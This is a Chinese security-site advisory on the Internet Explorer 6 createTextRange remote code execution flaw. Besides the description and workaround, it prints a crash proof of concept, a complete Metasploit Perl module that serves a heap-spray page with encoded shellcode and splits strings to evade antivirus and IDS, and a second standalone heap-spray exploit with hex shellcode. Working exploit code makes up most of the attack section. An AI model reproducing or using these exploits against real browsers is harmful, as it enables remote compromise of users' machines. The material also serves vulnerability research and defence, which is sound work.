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Microsoft Internet Explorer CreateTextRange远程代码执行漏洞            【字体:
Microsoft Internet Explorer CreateTextRange远程代码执行漏洞
作者:佚名    安全中心来源:不详    点击数:    更新时间:2007-10-10
涉及程序:
Microsoft Internet Explorer CreateTextRange
 
描述:
Microsoft Internet Explorer CreateTextRange远程代码执行漏洞
 
详细:
Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。

Internet Explorer的createTextRange()函数实现上存在漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。

Internet Explorer使用createTextRange()时在某些环境下可能导致无需的列表指针引用,这样在试图调用引用的32位地址时就会出现错误,如下所示:

0x7D53C15D MOV ECX, DWORD PTR DS:[EDI]
..
0x7D53C166 CALL DWORD PTR [ECX]

由于这种引用,ECX会指向很远的不存在的内存位置,导致IE崩溃,也可能执行任意指令。

<*来源:Stelian Ene (stelian.ene@gecadtech.com)
 Joshua Heyer
 Andreas Sandblad (sandblad@acc.umu.se)

链接:(http://www.sendmail.com/company/advisory/index.shtml
 (http://www.computerterrorism.com/research/ct22-03-2006
 (http://secunia.com/advisories/18680/print/
*>

受影响系统:
Microsoft Internet Explorer 6.x
 
攻击方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<input type="checkbox" id='c'>
<script>
 r=document.getElementById("c");
 a=r.createTextRange();
</script>

Exploit 1

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_checkbox;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use POSIX;

my $advanced =
{
};

my $info =
{
 'Name' => 'Internet Explorer checkbox',
 'Version' => '$Revision: 1.0 $',
 'Authors' =>
  [
 '<justfriends4n0w [at] yahoo.com>'
  ],

 'Description' =>
  Pex::Text::Freeform(qq{
  This module exploits a vulnerability in Internet Explorer's setTextRange on a checkbox
 

}),

 'Arch' => [ 'x86' ],
 'OS' => [ 'win32', 'winxp', 'win2003' ],
 'Priv' => 0,

 'UserOpts' =>
  {
 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080],
 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
  },

 'Payload' =>
  {
 'Space' => 1000,
 'MaxNops' => 0,
 'Keys' => [ '-ws2ord', '-bind' ],
# 'Keys' => [ '-ws2ord' ],
  },

 'Refs' =>
  [
 [ 'CVE', '' ],

  ],

 'DefaultTarget' => 0,
 'Targets' =>
  [
 [ 'Automatic - Windows 2000, Windows XP' ]
  ],
 
 'Keys' => [ 'ie', 'internal' ],

 'DisclosureDate' => '22 Mar 2006',
};

sub new
{
 my $class = shift;
 my $self;

 $self = $class->SUPER::new(
 {
  'Info' => $info,
  'Advanced' => $advanced,
 },
 @_);

 return $self;
}
sub JSUnescape #Taken from Mozilla_Compareto by Aviv Raff and H D Moore
{
 my $self = shift;
 my $data = shift;
 my $code = '';
 
 # Encode the shellcode via %u sequences for JS's unescape() function
 my $idx = 0;
 while ($idx < length($data) - 1) {
 my $c1 = ord(substr($data, $idx, 1));
 my $c2 = ord(substr($data, $idx+1, 1));
 $code .= sprintf('%%u%.2x%.2x', $c2, $c1);
 $idx += 2;
}
 
 return $code;
}


sub Exploit
{
 my $self = shift;
 my $server = IO::Socket::INET->new(
 LocalHost => $self->GetVar('HTTPHOST'),
 LocalPort => $self->GetVar('HTTPPORT'),
 ReuseAddr => 1,
 Listen => 1,
 Proto => 'tcp');
 my $client;

 # Did the listener create fail?
 if (not defined($server))
 {
 $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
 return;
 }

 $self->PrintLine("[*] Waiting for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");

 while (defined($client = $server->accept()))
 {
 $self->HandleHttpClient(fd => Msf::Socket::Tcp->new_from_socket($client));
 }

 return;
}

sub HandleHttpClient
{
 my $self = shift;
 my ($fd) = @};
 
 #my $targetIdx = $self->GetVar('TARGET');
 #my $target = $self->Targets->[$targetIdx];
 #my $ret = $target->[1];
 
 my $shellcode = $self->GetVar('EncodedPayload')->Payload;
 $shellcode= $self->JSUnescape($shellcode);
 

  my $content;
 my $rhost;
 my $rport;

 my $targets =
  {
 
 "Windows XP"=> [0 ],
 
  };
 my $target;
 my $os;

 # Read the HTTP command
 my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);

 # Read in the HTTP headers
 while (my $line = $fd->RecvLine(10))
 {
 my ($var, $val) = split /: /, $line;

 # Break out if we reach the end of the headers
 last if (not defined($var) or not defined($val));

 if ($var eq 'User-Agent')
 {
 $self->PrintLine( " *****useragent:" . $val );

  $os = "Windows 2003" if (!$os and $val =~ /Windows NT 5.2/);
  $os = "Windows XP"if (!$os and $val =~ /Windows NT 5.1/);
  $os = "Windows 2000" if (!$os and $val =~ /Windows NT 5.0/);
  $os = "Windows NT"if (!$os and $val =~ /Windows NT/);
  $os = "Unknown"if (!$os);
 }
 }

 # Set the remote host information
 ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

 



my $content="<input type=/"checkbox/" id=/"blah/">/n <SCRIPT language=/"javascript/">/n" .
"shellcode = unescape(/"$shellcode/");/n" .
"bigblock = unescape(/"%u9090%u9090/");/n" .
"slackspace = 20 + shellcode.length;/n" .
"while (bigblock.length < slackspace)/n" .
"bigblock += bigblock;/n" .
"fillblock = bigblock.substring(0, slackspace);/n" .
"block = bigblock.substring(0, bigblock.length-slackspace);/n" .
"while(block.length + slackspace < 0x40000) " .
"block = block + block + fillblock;/n" .
"memory = new Array();/n" .
"for ( i = 0; i < 2020; i++ ) " .
"memory[i] = block + shellcode;/n";

#Break up the string to avoid Antivirus/IDS
$content=$content .
" s= /"document.getEle/";/n" .
"s=s + /"mentById/"; /n" .
"s=s + /"(/'blah/')/"; /n " .
"s=s + /".create/";/n" .
"s=s + /"TextRange();/";/n" .
"eval(s);/n" .
"</script>";


 $self->PrintLine("[*] HTTP Client connected from $rhost:$rport using $os, sending payload...");

 # Transmit the HTTP response
 $fd->Send(
 "HTTP/1.1 200 OK/r/n" .
 "Content-Type: text/html/r/n" .
 "Content-Length: " . length($content) . "/r/n" .
 "Connection: close/r/n" .
 "/r/n" .
 "$content"
  );

 $fd->Close();
}

1;

Exploit 2

<!--
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
//
// Internet Explorer Remote Code Execution Exploit v 0.1
// by Darkeagle of Unl0ck Research Team
//
// used SkyLined idea of exploitation. special tnx goes to him.
//

Affected Software : Microsoft Internet Explorer 6.x, IE7 Beta 2
Severity : Critical
Impact : Remote System Access
Solution Status : ** UNPATCHED **
Discovered by : Computer Terrorism (UK)
Advisory Date : 22nd March, 2006
Tested : WinXP SP2 RUS IE 6.0 (full patched)

Vulnerability details:

PoC from CyberTerrorists crashes IE and overwrites EIP. EIP points to unknown place.
In my case it points to 0x3c0474c2.
Exploit fills heap with "nops+shellcode" 'til 0x3CxxXXxx. Then IE trys to read memory
@ 0x3c0474c2. At this time 0x3c0474c2 contains nops+shellcode. In the end IE executes
shellcode.

Exploit needs more RAM.
Tested under 192mb RAM with 800mb of maximum page cache.

Under 512mb code was executed after 1-1.5 minutes.

Successfull exploitation will execute standart windows calculator.

Greets:
 Unl0ck Researchers,
 0x557 guys,
 ph4nt0m guys,
 sh0k, uf0,
 BlackSecurity guys,
 many otherz.

// http://unl0ck.net
//
// (c) 2004 - 2006
//
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
-->
<pre>
<input type="checkbox" id="blah">
<SCRIPT language="javascript">

shellcode = unescape( "%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
  "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
  "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
  "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
  "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
  "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
  "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
  "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
  "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
  "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
  "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
  "%uCC4A%uD0FF");

 bigblock = unescape("%u9090%u9090");
 slackspace = 20 + shellcode.length

 while (bigblock.length < slackspace)
 bigblock += bigblock;

 fillblock = bigblock.substring(0, slackspace);

 block = bigblock.substring(0, bigblock.length-slackspace);

 while(block.length + slackspace < 0x40000)
 block = block + block + fillblock;

 memory = new Array();

 for ( i = 0; i < 2020; i++ )
 memory[i] = block + shellcode;

 var r = document.getElementById('blah').createTextRange();

</script>
</pre>
 
 
解决方案:
临时解决方法:

* 禁用不可信任用户的活动脚本。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

(http://www.microsoft.com/windows/ie/default.asp
 
安全中心录入:chqnet    责任编辑:chqnet 
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